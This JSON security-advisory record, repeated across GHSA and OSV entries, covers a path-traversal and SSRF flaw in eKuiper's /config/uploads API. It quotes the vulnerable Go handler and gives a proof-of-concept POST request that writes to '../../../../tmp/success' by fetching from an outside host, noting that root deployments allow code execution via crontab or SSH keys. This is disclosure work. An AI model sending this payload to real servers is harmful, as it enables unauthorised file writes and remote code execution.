{"id":"GHSA-gj54-gwj9-x2c6","aliases":["GO-2025-3800"],"status":"published","title":"eKuiper /config/uploads API arbitrary file writing may lead to RCE","description":"### Summary\neKuiper /config/uploads API supports accessing remote web URLs and saving files in the local upload directory, but there are no security restrictions, resulting in arbitrary file writing through ../. If run with root privileges, RCE can be achieved by writing crontab files or ssh keys.\n\n### Details\n```go \nfunc fileUploadHandler(w http.ResponseWriter, r *http.Request) {\n\tswitch r.Method {\n\t// Upload or overwrite a file\n\tcase http.MethodPost:\n\t\tswitch r.Header.Get(\"Content-Type\") {\n\t\tcase \"application/json\":\n\t\t\tfc := \u0026fileContent{}\n\t\t\tdefer r.Body.Close()\n\t\t\terr := json.NewDecoder(r.Body).Decode(fc)\n\t\t\tif err != nil {\n\t\t\t\thandleError(w, err, \"Invalid body: Error decoding file json\", logger)\n\t\t\t\treturn\n\t\t\t}\n\t\t\terr = fc.Validate()\n\t\t\tif err != nil {\n\t\t\t\thandleError(w, err, \"Invalid body: missing necessary field\", logger)\n\t\t\t\treturn\n\t\t\t}\n\n\t\t\tfilePath := filepath.Join(uploadDir, fc.Name)\n\t\t\terr = upload(fc)\n```\n- The fc.Name parameter do not safely filtered.\n\n### PoC\n```\nPOST /config/uploads HTTP/1.1\nHost: localhost:9081\nContent-Type: application/json\nContent-Length: 89\n\n{\n  \"name\": \"../../../../tmp/success\",\n \"file\": \"http://192.168.65.254:8888/success\"\n}\n```\n![image](https://github.com/user-attachments/assets/9ac23194-f5fd-49d3-ba54-334a7831739a)\n\n### Impact\n\nTested and verified only on 1.14.3 and 1.14.1, theoretically all versions using this code could be affected.\n\n1. SSRF\n2. Path-Travel\n3. May leads to RCE\n\nThe reporters is m0d9 from Tencent YunDing Lab.","severity":{"version":"4.0","score":7.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P","level":"high","from":"ghsa"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-434"],"published":"2025-07-03T14:22:05Z","modified":"2026-03-03T04:57:20Z","fixes":[{"ecosystem":"Go","package":"github.com/lf-edge/ekuiper/v2","fixed_in":["2.2.0"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"Go","package":"github.com/lf-edge/ekuiper/v2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.2.0"}]}]},{"source":"ghsa","ecosystem":"Go","package":"github.com/lf-edge/ekuiper","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"1.14.7"}]}]},{"source":"osv","ecosystem":"Go","package":"github.com/lf-edge/ekuiper/v2","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"2.2.0"}]}]},{"source":"osv","ecosystem":"Go","package":"github.com/lf-edge/ekuiper","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"last_affected":"1.14.7"}]}]},{"source":"osv","ecosystem":"Go","package":"github.com/lf-edge/ekuiper","ranges":[{"type":"SEMVER","events":[{"introduced":"0"}]}]},{"source":"osv","ecosystem":"Go","package":"github.com/lf-edge/ekuiper/v2","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"2.2.0"}]}]}],"references":[{"url":"https://github.com/lf-edge/ekuiper/security/advisories/GHSA-gj54-gwj9-x2c6","tags":["web","advisory"]},{"url":"https://github.com/advisories/GHSA-gj54-gwj9-x2c6"},{"url":"https://github.com/lf-edge/ekuiper","tags":["package"]}],"sources":{"ghsa":[{"id":"GHSA-gj54-gwj9-x2c6","title":"eKuiper /config/uploads API arbitrary file writing may lead to RCE","description":"### Summary\neKuiper /config/uploads API supports accessing remote web URLs and saving files in the local upload directory, but there are no security restrictions, resulting in arbitrary file writing through ../. If run with root privileges, RCE can be achieved by writing crontab files or ssh keys.\n\n### Details\n```go \nfunc fileUploadHandler(w http.ResponseWriter, r *http.Request) {\n\tswitch r.Method {\n\t// Upload or overwrite a file\n\tcase http.MethodPost:\n\t\tswitch r.Header.Get(\"Content-Type\") {\n\t\tcase \"application/json\":\n\t\t\tfc := \u0026fileContent{}\n\t\t\tdefer r.Body.Close()\n\t\t\terr := json.NewDecoder(r.Body).Decode(fc)\n\t\t\tif err != nil {\n\t\t\t\thandleError(w, err, \"Invalid body: Error decoding file json\", logger)\n\t\t\t\treturn\n\t\t\t}\n\t\t\terr = fc.Validate()\n\t\t\tif err != nil {\n\t\t\t\thandleError(w, err, \"Invalid body: missing necessary field\", logger)\n\t\t\t\treturn\n\t\t\t}\n\n\t\t\tfilePath := filepath.Join(uploadDir, fc.Name)\n\t\t\terr = upload(fc)\n```\n- The fc.Name parameter do not safely filtered.\n\n### PoC\n```\nPOST /config/uploads HTTP/1.1\nHost: localhost:9081\nContent-Type: application/json\nContent-Length: 89\n\n{\n  \"name\": \"../../../../tmp/success\",\n \"file\": \"http://192.168.65.254:8888/success\"\n}\n```\n![image](https://github.com/user-attachments/assets/9ac23194-f5fd-49d3-ba54-334a7831739a)\n\n### Impact\n\nTested and verified only on 1.14.3 and 1.14.1, theoretically all versions using this code could be affected.\n\n1. SSRF\n2. Path-Travel\n3. May leads to RCE\n\nThe reporters is m0d9 from Tencent YunDing Lab.","status":"published","published":"2025-07-03T14:22:05Z","modified":"2025-07-03T14:22:05Z","cvss":[{"version":"4.0","score":7.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P","level":"high"}],"cwes":["CWE-434"],"updated_at":"2026-11-02T14:38:48.783737Z"}],"osv":[{"id":"GHSA-gj54-gwj9-x2c6","title":"eKuiper /config/uploads API arbitrary file writing may lead to RCE","description":"### Summary\neKuiper /config/uploads API supports accessing remote web URLs and saving files in the local upload directory, but there are no security restrictions, resulting in arbitrary file writing through ../. If run with root privileges, RCE can be achieved by writing crontab files or ssh keys.\n\n### Details\n```go \nfunc fileUploadHandler(w http.ResponseWriter, r *http.Request) {\n\tswitch r.Method {\n\t// Upload or overwrite a file\n\tcase http.MethodPost:\n\t\tswitch r.Header.Get(\"Content-Type\") {\n\t\tcase \"application/json\":\n\t\t\tfc := \u0026fileContent{}\n\t\t\tdefer r.Body.Close()\n\t\t\terr := json.NewDecoder(r.Body).Decode(fc)\n\t\t\tif err != nil {\n\t\t\t\thandleError(w, err, \"Invalid body: Error decoding file json\", logger)\n\t\t\t\treturn\n\t\t\t}\n\t\t\terr = fc.Validate()\n\t\t\tif err != nil {\n\t\t\t\thandleError(w, err, \"Invalid body: missing necessary field\", logger)\n\t\t\t\treturn\n\t\t\t}\n\n\t\t\tfilePath := filepath.Join(uploadDir, fc.Name)\n\t\t\terr = upload(fc)\n```\n- The fc.Name parameter do not safely filtered.\n\n### PoC\n```\nPOST /config/uploads HTTP/1.1\nHost: localhost:9081\nContent-Type: application/json\nContent-Length: 89\n\n{\n  \"name\": \"../../../../tmp/success\",\n \"file\": \"http://192.168.65.254:8888/success\"\n}\n```\n![image](https://github.com/user-attachments/assets/9ac23194-f5fd-49d3-ba54-334a7831739a)\n\n### Impact\n\nTested and verified only on 1.14.3 and 1.14.1, theoretically all versions using this code could be affected.\n\n1. SSRF\n2. Path-Travel\n3. May leads to RCE\n\nThe reporters is m0d9 from Tencent YunDing Lab.","status":"published","published":"2025-07-03T14:22:05Z","modified":"2025-07-28T20:42:20.82819Z","cvss":[{"version":"4.0","score":7.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P","level":"high"}],"cwes":["CWE-434"],"updated_at":"2026-11-02T15:46:47.822182Z"},{"id":"GO-2025-3800","title":"eKuiper /config/uploads API arbitrary file writing may lead to RCE in github.com/lf-edge/ekuiper","description":"eKuiper /config/uploads API arbitrary file writing may lead to RCE in github.com/lf-edge/ekuiper","status":"published","published":"2025-07-28T19:57:13Z","modified":"2026-03-03T04:57:20.875897Z","updated_at":"2026-11-02T15:47:01.728182Z"}]}}